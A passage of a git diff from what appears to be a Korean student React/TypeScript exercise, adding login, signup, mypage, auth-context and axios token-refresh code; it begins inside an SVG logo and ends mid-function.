filter="url(#m)"><ellipse cx="12.326" cy="39.103" fill="#8900ff" rx="4.407" ry="29.108" transform="rotate(37.892 12.326 39.103)"/></g><g filter="url(#n)"><ellipse cx="12.326" cy="39.103" fill="#8900ff" rx="4.407" ry="29.108" transform="rotate(37.892 12.326 39.103)"/></g><g filter="url(#o)"><ellipse cx="49.857" cy="30.678" fill="#8900ff" rx="4.407" ry="29.108" transform="rotate(37.892 49.857 30.678)"/></g><g filter="url(#p)"><ellipse cx="52.623" cy="33.171" fill="#00c2ff" rx="5.971" ry="15.297" transform="rotate(37.892 52.623 33.17)"/></g></g><path d="M6.919 0c-9.198 13.166-9.252 33.575 0 46.789h6.215c-9.25-13.214-9.196-33.623 0-46.789zm62.424 0h-6.215c9.198 13.166 9.252 33.575 0 46.789h6.215c9.25-13.214 9.196-33.623 0-46.789" class="parenthesis"/><defs><filter id="b" width="60.045" height="41.654" x="-5.564" y="16.92" color-interpolation-filters="sRGB" filterUnits="userSpaceOnUse"><feFlood flood-opacity="0" result="BackgroundImageFix"/><feBlend in="SourceGraphic" in2="BackgroundImageFix" result="shape"/><feGaussianBlur result="effect1_foregroundBlur_2002_17286" stdDeviation="7.659"/></filter><filter id="c" width="90.34" height="51.437" x="-40.407" y="-6.762" color-interpolation-filters="sRGB" filterUnits="userSpaceOnUse"><feFlood flood-opacity="0" result="BackgroundImageFix"/><feBlend in="SourceGraphic" in2="BackgroundImageFix" result="shape"/><feGaussianBlur result="effect1_foregroundBlur_2002_17286" stdDeviation="7.659"/></filter><filter id="d" width="79.355" height="29.4" x="-35.435" y="2.801" color-interpolation-filters="sRGB" filterUnits="userSpaceOnUse"><feFlood flood-opacity="0" result="BackgroundImageFix"/><feBlend in="SourceGraphic" in2="BackgroundImageFix" result="shape"/><feGaussianBlur result="effect1_foregroundBlur_2002_17286" stdDeviation="4.596"/></filter><filter id="e" width="79.579" height="29.4" x="-30.84" y="20.8" color-interpolation-filters="sRGB" filterUnits="userSpaceOnUse"><feFlood flood-opacity="0" result="BackgroundImageFix"/><feBlend in="SourceGraphic" in2="BackgroundImageFix" result="shape"/><feGaussianBlur result="effect1_foregroundBlur_2002_17286" stdDeviation="4.596"/></filter><filter id="f" width="79.579" height="29.4" x="-29.307" y="21.949" color-interpolation-filters="sRGB" filterUnits="userSpaceOnUse"><feFlood flood-opacity="0" result="BackgroundImageFix"/><feBlend in="SourceGraphic" in2="BackgroundImageFix" result="shape"/><feGaussianBlur result="effect1_foregroundBlur_2002_17286" stdDeviation="4.596"/></filter><filter id="g" width="74.749" height="58.852" x="29.961" y="-17.13" color-interpolation-filters="sRGB" filterUnits="userSpaceOnUse"><feFlood flood-opacity="0" result="BackgroundImageFix"/><feBlend in="SourceGraphic" in2="BackgroundImageFix" result="shape"/><feGaussianBlur result="effect1_foregroundBlur_2002_17286" stdDeviation="7.659"/></filter><filter id="h" width="61.377" height="25.362" x="37.754" y="3.055" color-interpolation-filters="sRGB" filterUnits="userSpaceOnUse"><feFlood flood-opacity="0" result="BackgroundImageFix"/><feBlend in="SourceGraphic" in2="BackgroundImageFix" result="shape"/><feGaussianBlur result="effect1_foregroundBlur_2002_17286" stdDeviation="4.596"/></filter><filter id="i" width="61.377" height="25.362" x="37.754" y="3.055" color-interpolation-filters="sRGB" filterUnits="userSpaceOnUse"><feFlood flood-opacity="0" result="BackgroundImageFix"/><feBlend in="SourceGraphic" in2="BackgroundImageFix" result="shape"/><feGaussianBlur result="effect1_foregroundBlur_2002_17286" stdDeviation="4.596"/></filter><filter id="j" width="56.045" height="63.649" x="-13.43" y="-22.082" color-interpolation-filters="sRGB" filterUnits="userSpaceOnUse"><feFlood flood-opacity="0" result="BackgroundImageFix"/><feBlend in="SourceGraphic" in2="BackgroundImageFix" result="shape"/><feGaussianBlur result="effect1_foregroundBlur_2002_17286" stdDeviation="4.596"/></filter><filter id="k" width="54.814" height="64.646" x="34.321" y="-37.644" color-interpolation-filters="sRGB" filterUnits="userSpaceOnUse"><feFlood flood-opacity="0" result="BackgroundImageFix"/><feBlend in="SourceGraphic" in2="BackgroundImageFix" result="shape"/><feGaussianBlur result="effect1_foregroundBlur_2002_17286" stdDeviation="4.596"/></filter><filter id="l" width="33.541" height="35.313" x="38.847" y="-10.552" color-interpolation-filters="sRGB" filterUnits="userSpaceOnUse"><feFlood flood-opacity="0" result="BackgroundImageFix"/><feBlend in="SourceGraphic" in2="BackgroundImageFix" result="shape"/><feGaussianBlur result="effect1_foregroundBlur_2002_17286" stdDeviation="4.596"/></filter><filter id="m" width="54.814" height="64.646" x="-15.081" y="6.78" color-interpolation-filters="sRGB" filterUnits="userSpaceOnUse"><feFlood flood-opacity="0" result="BackgroundImageFix"/><feBlend in="SourceGraphic" in2="BackgroundImageFix" result="shape"/><feGaussianBlur result="effect1_foregroundBlur_2002_17286" stdDeviation="4.596"/></filter><filter id="n" width="54.814" height="64.646" x="-15.081" y="6.78" color-interpolation-filters="sRGB" filterUnits="userSpaceOnUse"><feFlood flood-opacity="0" result="BackgroundImageFix"/><feBlend in="SourceGraphic" in2="BackgroundImageFix" result="shape"/><feGaussianBlur result="effect1_foregroundBlur_2002_17286" stdDeviation="4.596"/></filter><filter id="o" width="54.814" height="64.646" x="22.45" y="-1.645" color-interpolation-filters="sRGB" filterUnits="userSpaceOnUse"><feFlood flood-opacity="0" result="BackgroundImageFix"/><feBlend in="SourceGraphic" in2="BackgroundImageFix" result="shape"/><feGaussianBlur result="effect1_foregroundBlur_2002_17286" stdDeviation="4.596"/></filter><filter id="p" width="39.409" height="43.623" x="32.919" y="11.36" color-interpolation-filters="sRGB" filterUnits="userSpaceOnUse"><feFlood flood-opacity="0" result="BackgroundImageFix"/><feBlend in="SourceGraphic" in2="BackgroundImageFix" result="shape"/><feGaussianBlur result="effect1_foregroundBlur_2002_17286" stdDeviation="4.596"/></filter></defs></svg>
diff --git a/mission/chapter05/mission_2/src/components/Navbar.tsx b/mission/chapter05/mission_2/src/components/Navbar.tsx
new file mode 100644
index 0000000..c22c0bb
--- /dev/null
+++ b/mission/chapter05/mission_2/src/components/Navbar.tsx
@@ -0,0 +1,60 @@
+import { useNavigate } from 'react-router-dom';
+import { useAuth } from '../context/AuthContext';
+const Navbar = () => {
+  const navigate = useNavigate();
+  const { user, logout } = useAuth();
+
+  return (
+    <nav className="flex items-center justify-between px-6 py-4 border-b border-gray-200">
+      {/* 로고 */}
+      <div
+        className="font-bold text-lg cursor-pointer"
+        onClick={() => navigate('/')}
+      >
+        홈
+      </div>
+
+      {/* 버튼 영역 */}
+      <div className="flex gap-2">
+        {user ? (
+          //로그인 된 상태
+          <div className="flex items-center gap-3">
+            <span
+              className="text-gray-600 cursor-pointer hover:text-blue-400 transition-colors"
+              onClick={() => navigate('/mypage')}
+            >
+              마이페이지
+            </span>
+            <button
+              onClick={() => {
+                logout();
+                navigate('/');
+              }}
+              className="px-4 py-2 text-sm border border-gray-300 rounded-md hover:bg-gray-100 transition-colors"
+            >
+              로그아웃
+            </button>
+          </div>
+        ) : (
+          // 로그인 안 된 상태
+          <>
+            <button
+              onClick={() => navigate('/login')}
+              className="px-4 py-2 text-sm border border-gray-300 rounded-md hover:bg-gray-100 transition-colors"
+            >
+              로그인
+            </button>
+            <button
+              onClick={() => navigate('/signup')}
+              className="px-4 py-2 text-sm bg-blue-300 text-white rounded-md hover:bg-blue-500 transition-colors"
+            >
+              회원가입
+            </button>
+          </>
+        )}
+      </div>
+    </nav>
+  );
+};
+
+export default Navbar;
diff --git a/mission/chapter05/mission_2/src/components/ProtectedRoute.tsx b/mission/chapter05/mission_2/src/components/ProtectedRoute.tsx
new file mode 100644
index 0000000..0fffe2d
--- /dev/null
+++ b/mission/chapter05/mission_2/src/components/ProtectedRoute.tsx
@@ -0,0 +1,11 @@
+import { Navigate } from 'react-router-dom';
+import { useAuth } from '../context/AuthContext';
+
+const ProtectedRoute = ({ children }: { children: React.ReactNode }) => {
+  const { user } = useAuth();
+
+  if (!user) return <Navigate to="/login" replace />;
+  return <>{children}</>;
+};
+
+export default ProtectedRoute;
\ No newline at end of file
diff --git a/mission/chapter05/mission_2/src/context/AuthContext.tsx b/mission/chapter05/mission_2/src/context/AuthContext.tsx
new file mode 100644
index 0000000..19c6f1c
--- /dev/null
+++ b/mission/chapter05/mission_2/src/context/AuthContext.tsx
@@ -0,0 +1,60 @@
+import { createContext, useContext, useState } from 'react';
+import axiosInstance from '../api/axios';
+interface User {
+  email: string;
+  nickname: string;
+}
+
+interface AuthContextType {
+  user: User | null;
+  login: (user: User, accessToken: string, refreshToken: string) => void;
+  logout: () => void;
+}
+
+const AuthContext = createContext<AuthContextType | null>(null);
+
+export const AuthProvider = ({ children }: { children: React.ReactNode }) => {
+  const [user, setUser] = useState<User | null>(() => {
+    const stored = localStorage.getItem('user');
+    return stored ? JSON.parse(stored) : null;
+  });
+
+  // login 함수에 토큰도 같이 저장
+  const login = (userData: User, accessToken: string, refreshToken: string) => {
+    // 유저 정보 저장
+    setUser(userData);
+    localStorage.setItem('user', JSON.stringify(userData));
+
+    // 토큰 저장
+    // Access Token → 짧은 유효기간, API 요청할 때 사용
+    localStorage.setItem('accessToken', accessToken);
+    // Refresh Token → 긴 유효기간, Access Token 만료시 재발급용
+    localStorage.setItem('refreshToken', refreshToken);
+  };
+
+  const logout = async () => {
+    try {
+      // 서버에 로그아웃 요청
+      await axiosInstance.post('/auth/signout');
+    } catch (error) {
+      console.error('로그아웃 실패:', error);
+    } finally {
+      setUser(null);
+      localStorage.removeItem('user');
+      localStorage.removeItem('accessToken');
+      localStorage.removeItem('refreshToken');
+    }
+  };
+
+  return (
+    <AuthContext.Provider value={{ user, login, logout }}>
+      {children}
+    </AuthContext.Provider>
+  );
+};
+
+export const useAuth = () => {
+  const context = useContext(AuthContext);
+  if (!context) throw new Error('AuthProvider 밖에서 사용 불가!');
+  return context;
+};
\ No newline at end of file
diff --git a/mission/chapter05/mission_2/src/hooks/useForm.ts b/mission/chapter05/mission_2/src/hooks/useForm.ts
new file mode 100644
index 0000000..dcfc423
--- /dev/null
+++ b/mission/chapter05/mission_2/src/hooks/useForm.ts
@@ -0,0 +1,54 @@
+import { useEffect, useState, type ChangeEvent } from 'react';
+
+interface UseFormProps<T> {
+  initialValue: T;
+  //값이 올바른지 검증하는 함수
+  validate: (values: T) => Record<keyof T, string>;
+}
+
+function useForm<T>({ initialValue, validate }: UseFormProps<T>) {
+  const [values, setValues] = useState(initialValue);
+
+  //"email": true -> touch 됨
+  //"password": false -> touch 안 됨
+  const [touched, setTouched] = useState<Record<string, boolean>>();
+
+  //"email": 이메일은 반드시 @를 포함해야 합니다.
+  const [errors, setErrors] = useState<Record<string, string>>();
+
+  //사용자가 입력값 바꿀 때 실행되는 함수
+  const handleChange = (name: keyof T, text: string) => {
+    setValues({
+      ...values, //기존 입력값 유지
+      [name]: text,
+    });
+  };
+
+  const handleBlur = (name: keyof T) => {
+    setTouched({
+      ...touched,
+      [name]: true,
+    });
+  };
+
+  //이메일과 비밀번호 인풋, 속성들을 가져오는 것
+  const getInputProps = (name: keyof T) => {
+    const value = values[name];
+    const onChange = (e: ChangeEvent<HTMLInputElement | HTMLTextAreaElement>) =>
+      handleChange(name, e.target.value);
+    const onBlur = () => handleBlur(name);
+
+    return { value, onChange, onBlur };
+  };
+
+  //values가 변경될 때 에러검증 로직
+  //변경될 때마다 로직이 변경되어야 하니 useEffect 사용
+  useEffect(() => {
+    const newErrors = validate(values);
+    setErrors(newErrors); //오류 메시지 업데이트
+  }, [validate, values]);
+
+  return {values, errors, touched, getInputProps};
+}
+
+export default useForm;
\ No newline at end of file
diff --git a/mission/chapter05/mission_2/src/hooks/useLocalStorage.ts b/mission/chapter05/mission_2/src/hooks/useLocalStorage.ts
new file mode 100644
index 0000000..c6a3ad1
--- /dev/null
+++ b/mission/chapter05/mission_2/src/hooks/useLocalStorage.ts
@@ -0,0 +1,29 @@
+import { useState } from 'react';
+
+function useLocalStorage<T>(key: string, initialValue: T) {
+  // 로컬스토리지에서 값을 가져오는 함수
+  const [storedValue, setStoredValue] = useState<T>(() => {
+    try {
+      const item = window.localStorage.getItem(key);
+      // 저장된 값이 있으면 파싱해서 반환, 없으면 초기값 반환
+      return item ? JSON.parse(item) : initialValue;
+    } catch (error) {
+      console.error(error);
+      return initialValue;
+    }
+  });
+
+  // 값을 저장하는 함수
+  const setValue = (value: T) => {
+    try {
+      setStoredValue(value);
+      window.localStorage.setItem(key, JSON.stringify(value));
+    } catch (error) {
+      console.error(error);
+    }
+  };
+
+  return [storedValue, setValue] as const;
+}
+
+export default useLocalStorage;
\ No newline at end of file
diff --git a/mission/chapter05/mission_2/src/index.css b/mission/chapter05/mission_2/src/index.css
new file mode 100644
index 0000000..d4b5078
--- /dev/null
+++ b/mission/chapter05/mission_2/src/index.css
@@ -0,0 +1 @@
+@import 'tailwindcss';
diff --git a/mission/chapter05/mission_2/src/layouts/HomeLayout.tsx b/mission/chapter05/mission_2/src/layouts/HomeLayout.tsx
new file mode 100644
index 0000000..d44989b
--- /dev/null
+++ b/mission/chapter05/mission_2/src/layouts/HomeLayout.tsx
@@ -0,0 +1,16 @@
+import { Outlet } from 'react-router-dom';
+import Navbar from '../components/Navbar';
+
+const HomeLayout = () => {
+  return (
+    <div className="h-dvh flex flex-col">
+      <Navbar />
+      <main className="flex-1">
+        <Outlet />
+      </main>
+      <footer>Footer</footer>
+    </div>
+  );
+};
+
+export default HomeLayout;
diff --git a/mission/chapter05/mission_2/src/main.tsx b/mission/chapter05/mission_2/src/main.tsx
new file mode 100644
index 0000000..bef5202
--- /dev/null
+++ b/mission/chapter05/mission_2/src/main.tsx
@@ -0,0 +1,10 @@
+import { StrictMode } from 'react'
+import { createRoot } from 'react-dom/client'
+import './index.css'
+import App from './App.tsx'
+
+createRoot(document.getElementById('root')!).render(
+  <StrictMode>
+    <App />
+  </StrictMode>,
+)
diff --git a/mission/chapter05/mission_2/src/pages/HomePage.tsx b/mission/chapter05/mission_2/src/pages/HomePage.tsx
new file mode 100644
index 0000000..07f9106
--- /dev/null
+++ b/mission/chapter05/mission_2/src/pages/HomePage.tsx
@@ -0,0 +1,24 @@
+import useLocalStorage from '../hooks/useLocalStorage';
+
+const HomePage = () => {
+  const [user] = useLocalStorage<{ email: string; nickname: string } | null>(
+    'user',
+    null,
+  );
+
+  return (
+    <div className="flex flex-col items-center justify-center h-full gap-8 bg-gradient-to-b from-blue-50 to-white">
+      <div className="flex flex-col items-center gap-4">
+        <div className="text-8xl">🌸</div>
+        <h1 className="text-3xl font-bold text-blue-400">환영해요!</h1>
+        <p className="text-gray-400 text-sm">
+          {user
+            ? `${user.nickname}님, 반갑습니다 😊`
+            : '로그인하고 시작해보세요!'}
+        </p>
+      </div>
+    </div>
+  );
+};
+
+export default HomePage;
diff --git a/mission/chapter05/mission_2/src/pages/LoginPage.tsx b/mission/chapter05/mission_2/src/pages/LoginPage.tsx
new file mode 100644
index 0000000..1485ded
--- /dev/null
+++ b/mission/chapter05/mission_2/src/pages/LoginPage.tsx
@@ -0,0 +1,89 @@
+import { useNavigate } from 'react-router-dom';
+import { useForm } from 'react-hook-form';
+import { zodResolver } from '@hookform/resolvers/zod';
+import { signinSchema, type SigninFormValues } from '../utils/validate';
+import { useAuth } from '../context/AuthContext';
+import axiosInstance from '../api/axios'; //
+
+const LoginPage = () => {
+  const navigate = useNavigate();
+  const { login } = useAuth();
+
+  const {
+    register,
+    handleSubmit,
+    formState: { errors, isValid },
+  } = useForm<SigninFormValues>({
+    resolver: zodResolver(signinSchema),
+    mode: 'onChange',
+  });
+
+  const onSubmit = async (data: SigninFormValues) => {
+    try {
+      const response = await axiosInstance.post('/auth/signin', {
+        email: data.email,
+        password: data.password,
+      });
+
+      const { name, accessToken, refreshToken } = response.data.data;
+
+      login({ email: data.email, nickname: name }, accessToken, refreshToken);
+
+      navigate('/');
+    } catch (error) {
+      console.error('로그인 실패:', error);
+      alert('이메일 또는 비밀번호가 올바르지 않습니다.');
+    }
+  };
+
+  return (
+    <div className="flex flex-col h-full">
+      <div className="relative flex items-center justify-center py-4 border-b border-gray-200">
+        <button
+          onClick={() => navigate('/')}
+          className="absolute left-4 text-gray-600 hover:text-gray-900 transition-colors"
+        >
+          ＜
+        </button>
+        <h1 className="text-lg font-semibold">로그인</h1>
+      </div>
+
+      <div className="flex flex-col items-center justify-center flex-1 gap-4">
+        <div className="flex flex-col gap-3 w-[300px]">
+          <input
+            {...register('email')}
+            className={`border w-full p-[10px] focus:border-[#807bff] rounded-sm outline-none
+              ${errors?.email ? 'border-red-500 bg-red-200' : 'border-gray-300'}`}
+            type="email"
+            placeholder="이메일을 입력해주세요!"
+          />
+          {errors.email && (
+            <div className="text-red-500 text-sm">{errors.email.message}</div>
+          )}
+          <input
+            {...register('password')}
+            className={`border w-full p-[10px] focus:border-[#807bff] rounded-sm outline-none
+              ${errors.password ? 'border-red-500 bg-red-200' : 'border-gray-300'}`}
+            type="password"
+            placeholder="비밀번호를 입력해주세요!"
+          />
+          {errors.password && (
+            <div className="text-red-500 text-sm">
+              {errors.password.message}
+            </div>
+          )}
+          <button
+            type="button"
+            onClick={handleSubmit(onSubmit)}
+            disabled={!isValid}
+            className="w-full bg-blue-300 text-white py-3 rounded-md text-lg font-medium hover:bg-blue-500 transition-colors cursor-pointer disabled:bg-gray-300"
+          >
+            로그인
+          </button>
+        </div>
+      </div>
+    </div>
+  );
+};
+
+export default LoginPage;
diff --git a/mission/chapter05/mission_2/src/pages/MyPage.tsx b/mission/chapter05/mission_2/src/pages/MyPage.tsx
new file mode 100644
index 0000000..121422f
--- /dev/null
+++ b/mission/chapter05/mission_2/src/pages/MyPage.tsx
@@ -0,0 +1,39 @@
+import { useNavigate } from 'react-router-dom';
+import { useAuth } from '../context/AuthContext';
+
+const MyPage = () => {
+  const navigate = useNavigate();
+  const { user, logout } = useAuth();
+
+  return (
+    <div className="flex flex-col h-full">
+      {/* 헤더 */}
+      <div className="relative flex items-center justify-center py-4 border-b border-gray-200">
+        <button
+          onClick={() => navigate('/')}
+          className="absolute left-4 text-gray-600 hover:text-gray-900 transition-colors"
+        >
+          ＜
+        </button>
+        <h1 className="text-lg font-semibold">마이페이지</h1>
+      </div>
+
+      {/* 본문 */}
+      <div className="flex flex-col items-center justify-center flex-1 gap-6">
+        <div className="text-6xl">👤</div>
+        <div className="flex flex-col items-center gap-2">
+          <h2 className="text-2xl font-bold">{user?.nickname}</h2>
+          <p className="text-gray-400 text-sm">{user?.email}</p>
+        </div>
+        <button
+          onClick={() => { logout(); navigate('/'); }}
+          className="px-6 py-2 text-sm border border-gray-300 rounded-md hover:bg-gray-100 transition-colors"
+        >
+          로그아웃
+        </button>
+      </div>
+    </div>
+  );
+};
+
+export default MyPage;
\ No newline at end of file
diff --git a/mission/chapter05/mission_2/src/pages/NotFoundPage.tsx b/mission/chapter05/mission_2/src/pages/NotFoundPage.tsx
new file mode 100644
index 0000000..6f316cb
--- /dev/null
+++ b/mission/chapter05/mission_2/src/pages/NotFoundPage.tsx
@@ -0,0 +1,5 @@
+const NotFound = () => {
+  return <div className='text-2xl text-red-500 justify-center'>찾을 수 없는 페이지입니다</div>;
+};
+
+export default NotFound;
diff --git a/mission/chapter05/mission_2/src/pages/SignupPage.tsx b/mission/chapter05/mission_2/src/pages/SignupPage.tsx
new file mode 100644
index 0000000..d2f1114
--- /dev/null
+++ b/mission/chapter05/mission_2/src/pages/SignupPage.tsx
@@ -0,0 +1,173 @@
+import { useState } from 'react';
+import { useNavigate } from 'react-router-dom';
+import { useForm } from 'react-hook-form';
+import { zodResolver } from '@hookform/resolvers/zod';
+import { signupSchema, type SignupFormValues } from '../utils/validate';
+import axiosInstance from '../api/axios';
+
+const SignupPage = () => {
+  const navigate = useNavigate();
+  const [step, setStep] = useState(1);
+  const [showPassword, setShowPassword] = useState(false);
+  const [showPasswordCheck, setShowPasswordCheck] = useState(false);
+
+  const {
+    register,
+    handleSubmit,
+    watch,
+    formState: { errors },
+  } = useForm<SignupFormValues>({
+    resolver: zodResolver(signupSchema),
+    mode: 'onChange',
+  });
+
+  const onSubmit = async (data: SignupFormValues) => {
+    try {
+      // 서버에 회원가입 요청
+      await axiosInstance.post('/auth/signup', {
+        name: data.name,
+        email: data.email,
+        password: data.password,
+      });
+
+      // 회원가입 성공 → 로그인 페이지로 이동
+      alert('회원가입 성공! 로그인 해주세요 😊');
+      navigate('/login');
+    } catch (error) {
+      console.error('회원가입 실패:', error);
+      alert('회원가입에 실패했습니다.');
+    }
+  };
+
+  const email = watch('email');
+  const password = watch('password');
+  const passwordCheck = watch('passwordCheck');
+  const name = watch('name');
+
+  const isStep1Valid = !errors.email && email?.length > 0;
+  const isStep2Valid =
+    !errors.password &&
+    !errors.passwordCheck &&
+    password?.length > 0 &&
+    passwordCheck?.length > 0 &&
+    password === passwordCheck;
+  const isStep3Valid = !errors.name && name?.length > 0;
+
+  return (
+    <div className="flex flex-col h-full">
+      <div className="relative flex items-center justify-center py-4 border-b border-gray-200">
+        <button
+          onClick={() => (step === 1 ? navigate('/') : setStep(step - 1))}
+          className="absolute left-4 text-gray-600 hover:text-gray-900 transition-colors"
+        >
+          ＜
+        </button>
+        <h1 className="text-lg font-semibold">회원가입</h1>
+      </div>
+
+      <div className="flex flex-col items-center justify-center flex-1">
+        <div className="flex flex-col gap-3 w-[300px]">
+          {step === 1 && (
+            <>
+              <input
+                {...register('email')}
+                className={`border w-full p-[10px] focus:border-[#807bff] rounded-sm outline-none
+                  ${errors.email ? 'border-red-500 bg-red-200' : 'border-gray-300'}`}
+                type="email"
+                placeholder="이메일을 입력해주세요!"
+              />
+              {errors.email && (
+                <div className="text-red-500 text-sm">{errors.email.message}</div>
+              )}
+              <button
+                type="button"
+                onClick={() => setStep(2)}
+                disabled={!isStep1Valid}
+                className="w-full bg-blue-300 text-white py-3 rounded-md text-lg font-medium hover:bg-blue-500 transition-colors cursor-pointer disabled:bg-gray-300"
+              >
+                다음
+              </button>
+            </>
+          )}
+
+          {step === 2 && (
+            <>
+              <div className="text-gray-500 text-sm">{email}</div>
+              <div className="relative">
+                <input
+                  {...register('password')}
+                  className={`border w-full p-[10px] focus:border-[#807bff] rounded-sm outline-none
+                    ${errors.password ? 'border-red-500 bg-red-200' : 'border-gray-300'}`}
+                  type={showPassword ? 'text' : 'password'}
+                  placeholder="비밀번호를 입력해주세요!"
+                />
+                <button
+                  type="button"
+                  onClick={() => setShowPassword(!showPassword)}
+                  className="absolute right-3 top-1/2 -translate-y-1/2 text-gray-400 text-sm"
+                >
+                  {showPassword ? '🙈' : '👁️'}
+                </button>
+              </div>
+              {errors.password && (
+                <div className="text-red-500 text-sm">{errors.password.message}</div>
+              )}
+              <div className="relative">
+                <input
+                  {...register('passwordCheck')}
+                  className={`border w-full p-[10px] focus:border-[#807bff] rounded-sm outline-none
+                    ${errors.passwordCheck ? 'border-red-500 bg-red-200' : 'border-gray-300'}`}
+                  type={showPasswordCheck ? 'text' : 'password'}
+                  placeholder="비밀번호를 다시 입력해주세요!"
+                />
+                <button
+                  type="button"
+                  onClick={() => setShowPasswordCheck(!showPasswordCheck)}
+                  className="absolute right-3 top-1/2 -translate-y-1/2 text-gray-400 text-sm"
+                >
+                  {showPasswordCheck ? '🙈' : '👁️'}
+                </button>
+              </div>
+              {passwordCheck?.length > 0 && password !== passwordCheck && (
+                <div className="text-red-500 text-sm">비밀번호가 일치하지 않습니다</div>
+              )}
+              <button
+                type="button"
+                onClick={() => setStep(3)}
+                disabled={!isStep2Valid}
+                className="w-full bg-blue-300 text-white py-3 rounded-md text-lg font-medium hover:bg-blue-500 transition-colors cursor-pointer disabled:bg-gray-300"
+              >
+                다음
+              </button>
+            </>
+          )}
+
+          {step === 3 && (
+            <>
+              <input
+                {...register('name')}
+                className={`border w-full p-[10px] focus:border-[#807bff] rounded-sm outline-none
+                  ${errors.name ? 'border-red-500 bg-red-200' : 'border-gray-300'}`}
+                type="text"
+                placeholder="이름을 입력해주세요!"
+              />
+              {errors.name && (
+                <div className="text-red-500 text-sm">{errors.name.message}</div>
+              )}
+              <button
+                type="button"
+                onClick={handleSubmit(onSubmit)}
+                disabled={!isStep3Valid}
+                className="w-full bg-blue-300 text-white py-3 rounded-md text-lg font-medium hover:bg-blue-500 transition-colors cursor-pointer disabled:bg-gray-300"
+              >
+                회원가입 완료
+              </button>
+            </>
+          )}
+        </div>
+      </div>
+    </div>
+  );
+};
+
+export default SignupPage;
\ No newline at end of file
diff --git a/mission/chapter05/mission_2/src/utils/validate.ts b/mission/chapter05/mission_2/src/utils/validate.ts
new file mode 100644
index 0000000..6fddb70
--- /dev/null
+++ b/mission/chapter05/mission_2/src/utils/validate.ts
@@ -0,0 +1,27 @@
+import { z } from 'zod';
+
+export const signinSchema = z.object({
+  email: z.string().email('올바른 이메일 형식이 아닙니다'),
+  password: z
+    .string()
+    .min(8, '비밀번호는 8자 이상이어야 합니다.')
+    .max(20, '비밀번호는 20자 이하여야 합니다'),
+});
+
+export const signupSchema = z
+  .object({
+    name: z.string().min(1, '이름을 입력해주세요'),
+    email: z.string().email('올바른 이메일 형식이 아닙니다'),
+    password: z
+      .string()
+      .min(8, '비밀번호는 8자 이상이어야 합니다')
+      .max(20, '비밀번호는 20자 이하여야 합니다'),
+    passwordCheck: z.string(),
+  })
+  .refine((data) => data.password === data.passwordCheck, {
+    message: '비밀번호가 일치하지 않습니다',
+    path: ['passwordCheck'],
+  });
+
+export type SigninFormValues = z.infer<typeof signinSchema>;
+export type SignupFormValues = z.infer<typeof signupSchema>;
diff --git a/mission/chapter05/mission_3/src/App.css b/mission/chapter05/mission_3/src/App.css
new file mode 100644
index 0000000..e69de29
diff --git a/mission/chapter05/mission_3/src/App.tsx b/mission/chapter05/mission_3/src/App.tsx
new file mode 100644
index 0000000..51cddc3
--- /dev/null
+++ b/mission/chapter05/mission_3/src/App.tsx
@@ -0,0 +1,54 @@
+import './App.css';
+import { createBrowserRouter, RouterProvider } from 'react-router-dom';
+import HomeLayout from './layouts/HomeLayout';
+import NotFound from './pages/NotFoundPage';
+import LoginPage from './pages/LoginPage';
+import HomePage from './pages/HomePage';
+import SignupPage from './pages/SignupPage';
+import MyPage from './pages/MyPage';
+import ProtectedRoute from './components/ProtectedRoute';
+import GoogleCallbackPage from './pages/GoogleCallBackPage';
+import { AuthProvider } from './context/AuthContext';
+
+const router = createBrowserRouter([
+  {
+    path: '/',
+    element: <HomeLayout />,
+    errorElement: <NotFound />,
+    children: [
+      { index: true, element: <HomePage /> },
+      {
+        path: 'mypage',
+        element: (
+          <ProtectedRoute>
+            <MyPage />
+          </ProtectedRoute>
+        ),
+      },
+    ],
+  },
+  {
+    path: '/login',
+    element: <LoginPage />,
+    errorElement: <NotFound />,
+  },
+  {
+    path: '/signup',
+    element: <SignupPage />,
+    errorElement: <NotFound />,
+  },
+  {
+    path: '/v1/auth/google/callback',
+    element: <GoogleCallbackPage />,
+  },
+]);
+
+function App() {
+  return (
+    <AuthProvider>
+      <RouterProvider router={router} />
+    </AuthProvider>
+  );
+}
+
+export default App;
diff --git a/mission/chapter05/mission_3/src/api/axios.ts b/mission/chapter05/mission_3/src/api/axios.ts
new file mode 100644
index 0000000..41cdc58
--- /dev/null
+++ b/mission/chapter05/mission_3/src/api/axios.ts
@@ -0,0 +1,94 @@
+import axios from 'axios';
+
+const axiosInstance = axios.create({
+  baseURL: import.meta.env.VITE_API_URL,
+});
+
+// 토큰 갱신 중복 방지용 변수
+let isRefreshing = false; // 현재 갱신 중인지
+let refreshSubscribers: ((token: string) => void)[] = []; // 대기 중인 요청들
+
+//갱신 완료 후 대기 중인 요청들한테 새 토큰 전달
+const onRefreshed = (token: string) => {
+  refreshSubscribers.forEach((callback) => callback(token));
+  refreshSubscribers = [];
+};
+
+// 대기열에 요청 추가
+const addRefreshSubscriber = (callback: (token: string) => void) => {
+  refreshSubscribers.push(callback);
+};
+
+// 요청 인터셉터
+axiosInstance.interceptors.request.use((config) => {
+  const accessToken = localStorage.getItem('accessToken');
+
+  if (accessToken) {
+    config.headers.Authorization = `Bearer ${accessToken}`;
+  }
+  return config;
+});
+
+// 응답 인터셉터
+axiosInstance.interceptors.response.use(
+  // 성공 응답은 그냥 통과
+  (response) => response,
+
+  // 실패 응답(에러)은 여기서 처리
+  async (error) => {
+    const originalRequest = error.config;
+
+    // 401 = 토큰 만료
+    if (error.response?.status === 401 && !originalRequest._retry) {
+      // 재시도 표시 → 한 번만 재시도하도록 기록
+      originalRequest._retry = true;
+
+      // 이미 갱신 중이면 대기열에 추가
+      if (isRefreshing) {
+        return new Promise((resolve) => {
+          addRefreshSubscriber((token) => {
+            originalRequest.headers.Authorization = `Bearer ${token}`;
+            resolve(axiosInstance(originalRequest));
+          });
+        });
+      }
+
+      isRefreshing = true; // 갱신 시작
+
+      try {
+        const refreshToken = localStorage.getItem('refreshToken');
+
+        const response = await axios.post(
+          `${import.meta.env.VITE_API_URL}/auth/refresh`, // env로 변경
+          {
+            refresh: refreshToken,
+          },
+        );
+
+        // 새로 받은 accessToken 저장
+        const newAccessToken = response.data.data.accessToken;
+        localStorage.setItem('accessToken', newAccessToken);
+
+        isRefreshing = false;
+        onRefreshed(newAccessToken); // 대기 중인 요청들 처리
+
+        // 실패했던 요청 헤더도 새 토큰으로 교체
+        originalRequest.headers.Authorization = `Bearer ${newAccessToken}`;
+
+        // 실패했던 요청 재시도
+        return axiosInstance(originalRequest);
+      } catch (refreshError) {
+        // refreshToken도 만료 → 강제 로그아웃
+        localStorage.removeItem('accessToken');
+        localStorage.removeItem('refreshToken');
+        localStorage.removeItem('user');
+        window.location.href = '/login';
